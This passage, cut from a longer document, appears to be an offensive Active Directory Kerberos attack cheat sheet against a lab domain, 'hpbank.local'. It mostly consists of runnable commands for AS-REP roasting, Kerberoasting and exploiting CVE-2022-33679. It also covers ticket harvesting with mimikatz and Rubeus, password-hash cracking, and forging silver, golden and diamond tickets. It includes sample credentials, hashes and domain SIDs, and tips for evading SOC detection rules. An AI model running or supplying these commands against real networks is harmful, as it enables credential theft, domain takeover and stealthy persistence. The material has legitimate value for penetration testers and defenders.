ldapsearch -LLL -x -H ldap://dc01.hpbank.local -D "da@hpbank.local" -w 'P@ssw0rd' -b dc=hpbank,dc=local "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" sAMAccountName userPrincipalName memberOf

Tickets extraction:

1
2
3
4
5
6
7
8
9
10
11

#impacket
#connect to ldap and find vulnerable users:
impacket-GetNPUsers hpbank.local/user:'P@ssw0rd' -request -format hashcat -outputfile hashes.asreproast
#Try all the usernames in usernames.txt
impacket-GetNPUsers hpbank.local/ -usersfile usernames.txt -request -format hashcat -outputfile hashes.asreproast

#crackmapexec 
crackmapexec ldap $TARGETS -u $USER -p $PASSWORD --asreproast ASREProastables.txt --KdcHost $KeyDistributionCenter

#Rubeus:
Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]

Both tools ask for RC4 encrypted tickets that can be (and probably will be) detected by SOC (Sigma Rule).

kerberoast tool can be used to ask for aes128/256 encrypted tickets:

1
2
3

#!!!To crack it with John it's necessary to change the format for the output to
#$krb5asrep$18$<SALT>$<FIRST_BYTES>$<LAST_12_BYTES>
python3 -m kerberoast asreproast -r hpbank.local -u da 192.168.0.122 -e 18

can be also extracted from the pcap manually:

Cracking

1
2
3
4
5
6
7
8

#Currently Hashcat is able to crack only RC4 type(23) - 3564.1 MH/s on RTX4090
hashcat -O -m18200 hash23.txt pass.txt

#john supports AES as well
#For AES the format should be
#$krb5asrep$18$<SALT>$<FIRST_BYTES>$<LAST_12_BYTES>
#$krb5asrep$18$HPBANK.LOCALda$146c498d31332e15933af36029ffbd7b3756f78b33f50330829f5d745bc638f9e335096b17c4ea4f1b517e3be3ad05b44d1d44e306e2a41d5b99f30e9567bc162385b52840bf0f964efcce1a527878f9ec5758eb058d92f1a95dedcbf4d6d21bc1ab6e2ec30a8d5b5ca17bdefd86229e5b411315132934ace2d1d6133653a61907b8b815671abd759e8cf5f6f9dc7d6dff71f38a75bbea1148206282d4423e6c6f7e335d6ede332bf45b724cc4d2caba699e6358873f4bc25dc3424671a92d5bbf98e8ace16080330fb13e9c1e7ed5eb96fc9812d4e336e08486e1e17a20c649e3537b8263c8854e396a92cff7d0dd5706a0f8ecfb5725394b9da6d4b4a8bfd72df21b2b$cedaeaeb54a845116075926b#some tools generates it using a different format: #$krb5asrep$18$tgt_name_string@tgt_realm$bytes$<LAST_12_BYTES>
john --format=krb5asrep hash18.txt --wordlist=pass.txt

RC4 AS-REP Decryption (CVE-2022-33647, CVE-2022-33679)

As mentioned before RC4-MD4 is one of the supported encryption types (for unpatched systems). It has many substantial weaknesses that can leveraged by an attacker.

The whole attack is based on the initial research by James Forshaw (Project Zero)

The main idea is based on the one of the weaknesses in the RC4-MD4 algorithm: the key stream used for the timestamp must be the same as used in the response to encrypt the session key.

Since the timestamp structure is

1. Following ASN.1 structure
2. Is predictable

it’s possible to use a known-plaintext attack to decrypt a part the keystream and use that to decrypt parts of the response.

There are 2 possible ways to get an RC4 encrypted ticket and exploit the vulnerability:

• Downgrade the encryption while performing a MiTM attack (etype field of the AS-REQ is not protected) - CVE-2022-33647
• Make an AS-REP (TGT) request with weak encryption for the accounts that have “Do not require pre-authentication” enabled - CVE-2022-33679

In case of MiTM:

An example of a timestame structure and a response taken from the initial research (the values in green are plain-text we know or can calculate as they are part of the ASN.1 structure such as types and lengths):

Both messages are encrypted based on the same RC4 key. First 4 bytes of the PA-ENC-TS-ENC strucutre and session key are overlaped. It means, that you can get those 4 bytes just by xoring the values. The last byte can be bruteforced (online or offline in case the followed TGS request was captured).

In case of users with “Do not require pre-authentication” flag:

In this case AS-REP response is using to encrypt a timestamp.

There is no overlapping:

James managed to find a way to attack it based on a quite interesting parsing feature:

The KerberosTime value used for the timestamp is an ASCII string of the form YYYYMMDDHHmmssZ. It’s parsed by the server using a NULL byte as a terminator. So, it is safe to add a NULL to the end of the timestamp. At the same time if it will be not decrypted by the server to a NULL byte KDC returns a error. It allows to implement a “error-based” bruteforce by adding the bytes one by one (please, follow the initial research for a better explanation)

The update disabled the RC4-MD4 (-128) encryption type alongside with RC4-HMAC-OLD (-133) encryption type. Once patched, future AS-REQ/TGS-REQ using one of these two encryption types will receive “Unsupported encryption type” error.

Impacket

1
2
3

#https://github.com/Bdenneu/CVE-2022-33679
python3 CVE-2022-33679.py -dc-ip 10.10.10.10 hpbank.local/da DC01.hpbank.local
KRB5CCNAME=da_DC01.hpbank.local.ccache impacket-wmiexec -k -no-pas hpbank.local/da@DC01.hpbank.local

Rubeus:

1
2
3

#Fork - https://github.com/tyranid/Rubeus
Rubeus_fork.exe askrc4 /user:da /nowrap
Rubeus_fork.exe ptt /ticket:doIE9jCCB...

Kerberoasting

Any domain user can ask for a Service Ticket with a registered SPN. The KDC provides a Service Ticket with a part encrypted with the key derived from a service`s password:

An attacker can attempt to crack the encrypted part of a Kerberos ticket offline by guessing the password associated with the service principal name (SPN). It’s not that dangerous in case of computer accounts since their passwords are usually totally random and very long. However, in some cases, SPNs may be configured for user or service accounts where passwords were set manually. In these cases, the passwords may be weaker and more susceptible to offline cracking attacks.

Enumeration

1
2
3
4
5
6
7

#Linux
ldapsearch -LLL -x -H ldap://dc01.hpbank.local -D "da@hpbank.local" -w 'P@ssw0rd' -b dc=hpbank,dc=local "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" sAMAccountName userPrincipalName memberOf

#Windows
setspn.exe -Q */*
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats

Tickets extraction

1
2
3
4
5

#Impacket
impacket-GetUserSPNs -request -dc-ip 192.168.0.122 'HPBANK.local/user:P@ssw0rd' > kerberoast.txt

#Rubeus
Rubeus.exe kerberoast /outfile:kerberoast.txt

Note. By default tools request RC4 encrypted tickets that can be (and probably will be) detected by SOC (Sigma Rule).

kerberoast tool can be used to ask for aes128/256 encrypted tickets, but only when the appropriate flag is set for the user account:

1

python3 -m kerberoast spnroast 'kerberos+pw://HPBANK\user:P@ssw0rd@192.168.0.122' -u svc_user@hpbank.local -e 18

Cracking

1
2
3
4
5
6
7
8

#hashcat
13100 - Kerberos 5, etype 23, TGS-REP #3478.0 MH/s on RTX4090
19600 - Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96) #5100.2 kH/s on RTX4090
19700 - Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96) #2562.9 kH/s on RTX4090
hashcat -O -m 13100 --force kerberoast.txt <passwords_file>

#john
john --format=krb5tgs --wordlist=<passwords_file> kerberoast.txt

Pass-The-Ticket

It’s possible to use stolen kerberos tickets from other places

Harvest tickets:

1
2
3
4
5
6
7

#mimikatz
mimikatz # sekurlsa::tickets /export

#rubeus
Rubeus.exe dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<base64_ticket>"))

Use:

1
2
3
4
5
6
7
8
9

#Impacket
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

#mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

#Rubeus
Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Overpass The Hash/Pass The Key (PTK)

1
2
3
4
5
6
7
8
9
10
11

#Impacket
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]

#Rubeus
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt

Silver Ticket

Usually Service Tickets asre encrypted based on the service kerberos key:

If the service account is compromised it’s possible to craft arbitary tickets with any user or privileges. For services runing as a system account PAC validation (for the KDC checksum) is not occurred.

The computer accounts reset their passwords every 30 days by default and the process is initiated by the computer itself. By cahgning registry key *HKEY_LOCAL_MACHINEit’s possible to disable the password update. It allows to to persist access even after all other password are changed, that makes Silver Ticket attack a perfect persistance technique as well.

Exploitation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#Linux
#Get domain ssid:
impacket-lookupsid hpbank.local/da@192.168.0.122 
#Create a ticket:
impacket-ticketer -nthash 9e07929e7322c0336452aa51fa8725d9 -domain-sid S-1-5-21-748831818-4028602677-2506688269 -domain hpbank.local -spn cifs/WEB.hpbank.local -groups 512 tester
#Use
KRB5CCNAME=tester.ccache impacket-wmiexec -k -no-pass hpbank.local/tester@WEB.hpbank.local

#Windows
#Mimikatz
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

#Rubeus
Rubeus.exe silver /service:host/WEB.hpbank.local /user:user /rc4:9e07929e7322c0336452aa51fa8725d9 /sid:S-1-5-21-748831818-4028602677-2506688269

RC4 encryption type is used for impacket:

Golden Ticket

TGT tickets are encrypted using a krbtgt kerberos key. If an attacker gains access to the krbtgt password hash or AES key, they can potentially create a forged TGT for any domain user, including administrators.

Exploitation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#Impacket
#Get domain ssid:
impacket-lookupsid hpbank.local/user@192.168.0.122
# To generate the TGT with NTLM
impacket-ticketer -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# To generate the TGT with AES key
impacket-ticketer -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

#Mimikatz
#To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

#Rubeus
Rubeus.exe golden /aes256:<key> /ldap /user:da /printcmd

#Forging 5 TGTs starting on different days with 1 day interval between starttimes, with the first starting now, and using LDAP to get the PAC information:
Rubeus.exe golden /aes256:<key> /ldap /user:da /rangeend:5d /rangeinterval:1d

One of the most well-known IOAs associated with a Golden Ticketis the default End and Renew time of 10 years minus two days.

Diamond Ticket

Diamond Ticket is just golden ticket, but created based on a legitimate TGT requested by a normal user. This attack is used to bypass some commond detection techniques:

• Monitor for artifacts created by specific tools (10 years end and renew times by mimikatz, etc)
• Monitor for service ticket requests (TGS-REQs) that have no corresponding TGT request (AS-REQ).

This is achieved by requesting a TGT, decrypting it with the domain’s krbtgt hash, modifying the desired fields of the ticket, then re-encrypting it.

Exploitation

1
2

Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512
# /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the user without needing to know their password, NTLM/AES hash, or elevation on the host.

UnPac

When using PKINIT to obtain a TGT, the KDC includes in the ticket a PAC_CREDENTIAL_INFO structure containing the NTLM keys (i.e. LM and NT hashes) of the authenticating user. This feature allows users to switch to NTLM authentications when remote servers don’t support Kerberos, while still relying on an asymmetric Kerberos pre-authentication verification mechanism (i.e. PKINIT).

Using S4U2Self extension it’s possible to request a TGS ticket with PAC enctypted with the user`s key instead of krbtgt key.

Exploitation:

1
2
3
4
5
6
7

#PKINITtools https://github.com/dirkjanm/PKINITtools
#Request a TGT using a PFX file
gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

#Use Kerberos U2U to submit a TGS request for yourself and extract the NT hash.
export KRB5CCNAME="TGT_CCACHE_FILE"
getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'

Appendix 3. RFCs and Specifications

IETF RFC

• RFC 1411 - Telnet Authentication: Kerberos Version 4
• RFC 1510 - The Kerberos Network Authentication Service (V5) - Obsoleted by RFC 4120, RFC 6649
• RFC 1964 - The Kerberos Version 5 GSS-API Mechanism - Updated by RFC 4121, RFC 6649
• RFC 2623 - NFS Version 2 and Version 3 Security Issues and the NFS Protocol’s Use of RPCSEC_GSS and Kerberos V5
• RFC 2712 - Addition of Kerberos Cipher Suites to Transport Layer Security (TLS)
• RFC 2942 - Telnet Authentication: Kerberos Version 5
• RFC 3244 - Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols
• RFC 3961 - Encryption and Checksum Specifications for Kerberos 5 - Updated by RFC 8429
• RFC 3962 - Advanced Encryption Standard (AES) Encryption for Kerberos 5 - Updated by RFC 9141
• RFC 4120 - The Kerberos Network Authentication Service (V5) - Updated by RFC 4537, RFC 5021, RFC 5896, RFC 6111, RFC 6112, RFC 6113, RFC 6649, RFC 6806, RFC 7751, RFC 8062, RFC 8129, RFC 8429, RFC 8553
• RFC 4121 - The Kerberos Version 5 Generic Security Service Application Program Interface (GSS-API) Mechanism: Version 2 - Updated by RFC 5896, RFC 6112, RFC 6542, RFC 6649, RFC 8062
• RFC 4402 - A Pseudo-Random Function (PRF) for the Kerberos V Generic Security Service Application Program Interface (GSS-API) Mechanism - Obsoleted by RFC 7802
• RFC 4537 - Kerberos Cryptosystem Negotiation Extension
• RFC 4556 - Public Key Cryptography for Initial Authentication in Kerberos (PKINIT) - Updated by RFC 6112, RFC 8062, RFC 8636
• RFC 4557 - Online Certificate Status Protocol (OCSP) Support for Public Key Cryptography for Initial Authentication in Kerberos (PKINIT)
• RFC 4559 - SPNEGO-based Kerberos and NTLM HTTP Authentication in Microsoft Windows
• RFC 4752 - The Kerberos V5 (“GSSAPI”) Simple Authentication and Security Layer (SASL) Mechanism
• RFC 4757 - The RC4-HMAC Kerberos Encryption Types Used by Microsoft Windows - Updated by RFC 6649
• RFC 5021 - Extended Kerberos Version 5 Key Distribution Center (KDC) Exchanges over TCP
• RFC 5179 - Generic Security Service Application Program Interface (GSS-API) Domain-Based Service Names Mapping for the Kerberos V GSS Mechanism
• RFC 5349 - Elliptic Curve Cryptography (ECC) Support for Public Key Cryptography for Initial Authentication in Kerberos (PKINIT)
• RFC 5868 - Problem Statement on the Cross-Realm Operation of Kerberos
• RFC 6111 - Additional Kerberos Naming Constraints
• RFC 6112 - Anonymity Support for Kerberos - Obsoleted by RFC 8062
• RFC 6113 - A Generalized Framework for Kerberos Pre-Authentication
• RFC 6251 - Using Kerberos Version 5 over the Transport Layer Security (TLS) Protocol
• RFC 6448 - The Unencrypted Form of Kerberos 5 KRB-CRED Message
• RFC 6542 - Kerberos Version 5 Generic Security Service Application Program Interface (GSS-API) Channel Binding Hash Agility
• RFC 6649 - Deprecate DES, RC4-HMAC-EXP, and Other Weak Cryptographic Algorithms in Kerberos
• RFC 6784 - Kerberos Options for DHCPv6
• RFC 6803 - Camellia Encryption for Kerberos 5
• RFC 6806 - Kerberos Principal Name Canonicalization and Cross-Realm Referrals
• RFC 6880 - An Information Model for Kerberos Version 5
• RFC 7751 - Kerberos Authorization Data Container Authenticated by Multiple Message Authentication Codes (MACs)
• RFC 7802 - A Pseudo-Random Function (PRF) for the Kerberos V Generic Security Service Application Program Interface (GSS-API) Mechanism
• RFC 8009 - AES Encryption with HMAC-SHA2 for Kerberos 5
• RFC 8062 - Anonymity Support for Kerberos
• RFC 8070 - Public Key Cryptography for Initial Authentication in Kerberos (PKINIT) Freshness Extension
• RFC 8129 - Authentication Indicator in Kerberos Tickets
• RFC 8429 - Deprecate Triple-DES (3DES) and RC4 in Kerberos
• RFC 8636 - Public Key Cryptography for Initial Authentication in Kerberos (PKINIT) Algorithm Agility
• Active Internet-Drafts
  • draft-howard-gssapi-aead-01 - AEAD Modes for Kerberos GSS-API
  • draft-howard-krb-aead-01 - AEAD Encryption Types for Kerberos 5
  • draft-vanrein-dnstxt-krb1-11 - Declaring Kerberos Realm Names in DNS (_kerberos TXT)
  • draft-vanrein-tls-kdh-08 - Quantum Relief with TLS and Kerberos

Microsoft Extensions

[MS-KILE]: Kerberos Protocol Extensions. Specifies the Microsoft implementation of the Kerberos Protocol Extensions, as specified in [RFC4120], by specifying any Windows behaviors that differ from the Kerberos Protocol

[MS-PKCA]: Public Key Cryptography for Initial Authentication (PKINIT) in Kerberos Protocol.

[MS-PAC]: Privilege Attribute Certificate Data Structure.

References

https://www.markwilson.co.uk/blog/2005/06/kerberos-authentication-explained.htm

https://www.tarlogic.com/blog/how-kerberos-works/

[https://attl4s.github.io/assets/pdf/You_do_(not)Understand_Kerberos.pdf](https://attl4s.github.io/assets/pdf/You_do(not)_Understand_Kerberos.pdf)

https://www.trustedsec.com/blog/red-vs-blue-kerberos-ticket-times-checksums-and-you/

golinuxcloud.com/kerberos-auth-packet-analysis-wireshark/

https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/decrypting-the-selection-of-supported-kerberos-encryption-types/ba-p/1628797

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/

https://www.thehacker.recipes/ad/

https://snovvcrash.rocks/2021/05/21/calculating-kerberos-keys.html

https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html

https://swarm.ptsecurity.com/kerberoasting-without-spns/

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/